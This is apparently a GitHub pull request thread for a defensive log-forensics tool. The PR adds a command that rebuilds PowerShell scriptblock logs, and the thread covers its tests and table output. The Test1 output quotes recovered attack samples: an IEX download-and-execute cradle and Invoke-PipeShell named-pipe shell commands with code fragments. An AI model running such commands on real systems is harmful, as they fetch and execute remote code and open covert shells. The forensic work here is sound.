feat: add `extract-scriptblocks` command #57

fukusuket · 2023-10-21T14:29:22Z

What Changed

feat: Extract out PowerShell scriptblock logs into text files #47
- specification
  - Scriptblocks is be reassembled based on ScriptBlockId field in the ExtraFieldInfo and saved to the same file
  - The file name should be in the format: <COMPUTER NAME>-<CREATION-DATE>-<ScriptBlock ID>.txt
  - Display summary and save to summary.csv

Test

Environment

OS: macOS Sonoma version 14.0
Hayabusa v2.10.0-dev
Nim: 2.0.0

Test1 (hayabusa-sample-evtx ... T1059.001-PowerShell)

% ./hayabusa-main json-timeline -d ../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1059.001-PowerShell -o timeline-ps.jsonl -L
% ./takajo extract-scriptblocks -t timeline-ps.jsonl -q

% ls -l scriptblock-logs
total 64
-rw-r--r--  1 fukusuke  staff    6 10 21 23:42 fs03vuln.offsec.lan-2022-01-25_05_11_11.361_+09_00-63d67bc9-5a54-4394-8b23-363e369f3c91.txt
-rw-r--r--  1 fukusuke  staff  111 10 21 23:42 fs03vuln.offsec.lan-2022-01-25_05_11_11.361_+09_00-965150b4-b107-4cce-9d30-1d3c55a8a085.txt
-rw-r--r--  1 fukusuke  staff    6 10 21 23:42 jump01.offsec.lan-2021-06-03_22_05_40.097_+09_00-4e750683-f255-4025-80ce-70a7623ae2d6.txt
-rw-r--r--  1 fukusuke  staff  108 10 21 23:42 jump01.offsec.lan-2021-06-03_22_06_06.125_+09_00-64d8bc4c-53ba-45e7-bf38-00ecbf2185e2.txt
-rw-r--r--  1 fukusuke  staff  580 10 21 23:42 jump01.offsec.lan-2021-06-03_22_06_06.161_+09_00-6a0647ce-0f80-454c-8023-03e0cf659055.txt
-rw-r--r--  1 fukusuke  staff    6 10 21 23:42 jump01.offsec.lan-2021-06-03_22_06_07.156_+09_00-395b1b9d-4d11-4938-ae31-20144668cf09.txt
-rw-r--r--  1 fukusuke  staff  111 10 21 23:42 jump01.offsec.lan-2021-06-03_22_06_27.070_+09_00-650e35f6-b250-43af-8fff-6f9511ebd621.txt
-rw-r--r--  1 fukusuke  staff  728 10 21 23:42 summary.csv

% cd scriptblock-logs
% ls ./ | grep -v summary.csv | xargs cat
prompt"IEX(New-Object Net.WebClient).downloadString('https://miro.medium.com/max/1400/1*FnPDYeZVrGTbuE7Lj7JhgQ.png')"promptInvoke-PipeShell -mode client -server localhost -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000function Initialize-Pipe {
		if ($PipeMode -eq "Server") {
			echo "`n[>] Waiting for client..`n"
			$PipeObject.WaitForConnection()
		} else {
			try {
			# Add a 1s time-out in case the server is not live
			$PipeObject.Connect($timeout)
			} catch {
				echo "[!] Server pipe not available!"
				Return
			}
		}

		$PipeReader = $PipeWriter = $null
		$PipeReader = new-object System.IO.StreamReader($PipeObject)
		$PipeWriter = new-object System.IO.StreamWriter($PipeObject)
		$PipeWriter.AutoFlush = $true

		Initialize-Session
	}promptInvoke-PipeShell -mode client -server localhost -aeskey aaaabbbbccccdddd -pipe eventlog_svc -timeout 1000 -c ls%

Test2(hayabusa-sample-evtx)

Execute following command.

% ./hayabusa-main json-timeline -d ../hayabusa-sample-evtx/ -o timeline.jsonl -L
% ./takajo extract-scriptblocks -t timeline.jsonl

then compare ScriptBlockId uniq count and ./scriptblock-logs dir's file count as follows.

% cat timeline.jsonl | jq 'select(.EventID == 4104)' | jq .ExtraFieldInfo.ScriptBlockId | sort | uniq | wc -l
     750

% ls -l ./scriptblock-logs | grep -v total | grep -v summary.csv | wc -l
     750

Test3(all-evtx)

% ./hayabusa-main json-timeline -d ../all-evtx/ -o timeline-all.jsonl -L
% ./takajo extract-scriptblocks -t timeline-all.jsonl

then compare ScriptBlockId uniq count and ./scriptblock-logs dir's file count as follows.

% cat timeline-all.jsonl | jq 'select(.EventID == 4104)' | jq .ExtraFieldInfo.ScriptBlockId | sort | uniq | wc -l
      71

% ls -l ./scriptblock-logs | grep -v total | grep -v summary.csv | wc -l
      71

I would appreciate it if you could review when you have time🙏

fukusuket · 2023-10-21T23:09:41Z

Environment

OS:Windows11 Home
Hayabusa v2.10.0-dev
Nim: 2.0.0

Test4 (hayabusa-sample-evtx ... T1059.001-PowerShell)

No errors or mojibake in Command Prompt and PowerShell.

hitenkoku

@fukusuket Thanks for your pull request.
LGTM.

YamatoSecurity · 2023-10-23T21:22:32Z

LGTM! What you do think about outputting in terminal tables with nancy?
It might be easier to read.
Also, it would be nice if we could list up if there were any sigma alerts (low+) that matched on the powershell script. For example add a column named Max alert and print whatever the maximum alert was. (high, etc..) and then have another column Alerts and have a list of alert titles. I think nancy supports multiple lines. Just have to be careful that we are not putting too much information in the table that it gets broken. If it is too much information we can output alert information somewhere else. What do you think?

fukusuket · 2023-10-23T22:34:12Z

@YamatoSecurity
Thank you so much for review :) Yes, I'll try nancy!💪

fukusuket · 2023-10-24T00:51:16Z

@YamatoSecurity
I tried outputting a table using nancy(It's a very easy to use library :)) in the commit ecdb159
I tried changing the color depending on the Max alert, but what do you think about the column position and color layout ... etc?

fukusuket · 2023-10-24T00:56:04Z

In many cases, I think a large amount of detection results are output at the info level, so do you think it would be better to have an option to filter by level like timeline-suspicious-processes command ...? 🤔

takajo/src/takajopkg/timelineSuspiciousProcesses.nim

Lines 13 to 16 in 4f77848

 if level != "critical" and level != "high" and level != "medium" and level != "low" and level != "informational": 

 echo "You must specify a minimum level of critical, high, medium, low or informational. (default: high)" 

 echo "" 

 return

YamatoSecurity · 2023-10-24T01:48:36Z

@fukusuket Oh wow! Super fast! It is looking good. I'll take a look at it tonight.

YamatoSecurity · 2023-10-24T03:58:49Z

In many cases, I think a large amount of detection results are output at the info level, so do you think it would be better to have an option to filter by level like timeline-suspicious-processes command ...? 🤔

That sounds good. What about letting the user set the minimal level but have the default low?

fukusuket · 2023-10-24T09:08:08Z

@YamatoSecurity
I added --level option with commit bce67c7 💪
Could you please check how it looks with above commit when you have time?

fukusuket · 2023-10-24T09:51:15Z

@YamatoSecurity
I checked behavior in Windows 11!

~~command prompt~~ Windows Terminal is ok :)

But In PowerShell, the characters seem to be garbled as shown below, so I will investigate...🤔

fukusuket · 2023-10-24T13:07:21Z

The following are probably the causes :(

Nancy using following ANSI escape sequences internally,
https:/PMunch/termstyle/blob/master/termstyle.nim#L23-L46

But PowerShell 5.1 does not support ANSI escape sequences. (PowerShell 7 or Windows Terminal does support)
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_ansi_terminals?view=powershell-5.1

If you use the Nim standard functions below, this issue does not seem to occur because the Windows API is executed directly (instead of using ANSI escape sequences).
https://nim-lang.org/docs/terminal.html

fukusuket · 2023-10-24T15:52:13Z

I created issue!
PMunch/nancy#4

… escape

fukusuket · 2023-10-25T09:30:46Z

It's probably difficult to deal with this on Nancy's side, so I implemented processing that does not use ANSI escape.
I think this commit 5d112be has solved the problem :)

PowerShell

Command Prompt

Windows Terminal

macOS Terminal

fukusuket · 2023-10-25T09:36:00Z

@YamatoSecurity
Could you please check how it looks with commit 5d112be when you have time?

YamatoSecurity · 2023-10-25T22:34:56Z

@fukusuket Looks great! I just realized it is probably better to include the Computer name in the summary table to know which computer the malicious scripts were found. Can you add a Computer column between the Timestamp and ScriptBlock ID? It will probably be too much information, so what about deleting the Complete/Incomplete column to make space? By looking at the 1/1, etc.. Events Recovered column, it is easy enough to understand if the script was recovered 100% or is missing information.

The width for the events recovered 1/1 column and alert level seem a bit wide. Is it possible to make a little more narrow to make more space?

fukusuket · 2023-10-25T23:52:10Z

@YamatoSecurity
Thank you for checking!
I added computerName column. Also, I changed header as follows to make more space. What do you think?

Extracted Records -> Records
Max alert -> Level

(In Nancy, the width is automatically determined by the maximum number of characters in the column, and it seems that it cannot be set)

YamatoSecurity

@fukusuket Looks great! Thank you!

fukusuket added 2 commits October 21, 2023 23:15

feat: add extract-scriptblocks command.

78a18b6

chg: display output directory explicitly

c77ca60

fukusuket self-assigned this Oct 21, 2023

fukusuket added the enhancement New feature or request label Oct 21, 2023

fukusuket added this to the v2.1.0 milestone Oct 21, 2023

fukusuket linked an issue Oct 21, 2023 that may be closed by this pull request

Extract out PowerShell scriptblock logs into text files #47

Closed

chg: replace \t to tab

798b84e

fukusuket marked this pull request as ready for review October 21, 2023 15:09

fukusuket requested review from hitenkoku and YamatoSecurity October 21, 2023 15:13

hitenkoku approved these changes Oct 22, 2023

View reviewed changes

chg: use nancy for terminal table output

ecdb159

YamatoSecurity and others added 2 commits October 24, 2023 14:17

changelog update

a12e39c

feat: add --level option

bce67c7

fukusuket marked this pull request as draft October 24, 2023 09:52

fukusuket added 4 commits October 25, 2023 13:11

chg: override echoTableSeps to use stdout.styledWrite instead of ansi…

a8ce71f

… escape

fix: remove termClear

8992efa

refactor: pass the array as is

24863a3

fix: revert to processing element by element

3ddd301

fix: remove unused variable

5d112be

fukusuket marked this pull request as ready for review October 25, 2023 09:33

fukusuket mentioned this pull request Oct 25, 2023

ANSI escape sequences does not work with PowerShell 5.1 PMunch/nancy#4

Closed

chg: add computerName column.

62d4a51

YamatoSecurity approved these changes Oct 26, 2023

View reviewed changes

YamatoSecurity merged commit f725b38 into main Oct 26, 2023
2 checks passed

fukusuket deleted the 47-extract-out-powershell-script-block branch October 26, 2023 22:54

fukusuket mentioned this pull request Dec 9, 2023

[bug] timeline-partition-diagnostic console mojibake with cmd/powershell #74

Closed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

feat: add `extract-scriptblocks` command #57

feat: add `extract-scriptblocks` command #57

fukusuket commented Oct 21, 2023 •

edited

Loading

fukusuket commented Oct 21, 2023

hitenkoku left a comment

YamatoSecurity commented Oct 23, 2023

fukusuket commented Oct 23, 2023

fukusuket commented Oct 24, 2023 •

edited

Loading

fukusuket commented Oct 24, 2023

YamatoSecurity commented Oct 24, 2023

YamatoSecurity commented Oct 24, 2023

fukusuket commented Oct 24, 2023 •

edited

Loading

fukusuket commented Oct 24, 2023 •

edited

Loading

fukusuket commented Oct 24, 2023

fukusuket commented Oct 24, 2023

fukusuket commented Oct 25, 2023 •

edited

Loading

fukusuket commented Oct 25, 2023

YamatoSecurity commented Oct 25, 2023

fukusuket commented Oct 25, 2023

YamatoSecurity left a comment

feat: add extract-scriptblocks command #57

feat: add extract-scriptblocks command #57

Conversation

fukusuket commented Oct 21, 2023 • edited Loading

What Changed

Test

Environment

Test1 (hayabusa-sample-evtx ... T1059.001-PowerShell)

Test2(hayabusa-sample-evtx)

Test3(all-evtx)

fukusuket commented Oct 21, 2023

Environment

Test4 (hayabusa-sample-evtx ... T1059.001-PowerShell)

hitenkoku left a comment

Choose a reason for hiding this comment

YamatoSecurity commented Oct 23, 2023

fukusuket commented Oct 23, 2023

fukusuket commented Oct 24, 2023 • edited Loading

fukusuket commented Oct 24, 2023

YamatoSecurity commented Oct 24, 2023

YamatoSecurity commented Oct 24, 2023

fukusuket commented Oct 24, 2023 • edited Loading

fukusuket commented Oct 24, 2023 • edited Loading

fukusuket commented Oct 24, 2023

fukusuket commented Oct 24, 2023

fukusuket commented Oct 25, 2023 • edited Loading

fukusuket commented Oct 25, 2023

YamatoSecurity commented Oct 25, 2023

fukusuket commented Oct 25, 2023

YamatoSecurity left a comment

Choose a reason for hiding this comment

feat: add `extract-scriptblocks` command #57

feat: add `extract-scriptblocks` command #57

fukusuket commented Oct 21, 2023 •

edited

Loading

fukusuket commented Oct 24, 2023 •

edited

Loading

fukusuket commented Oct 24, 2023 •

edited

Loading

fukusuket commented Oct 24, 2023 •

edited

Loading

fukusuket commented Oct 25, 2023 •

edited

Loading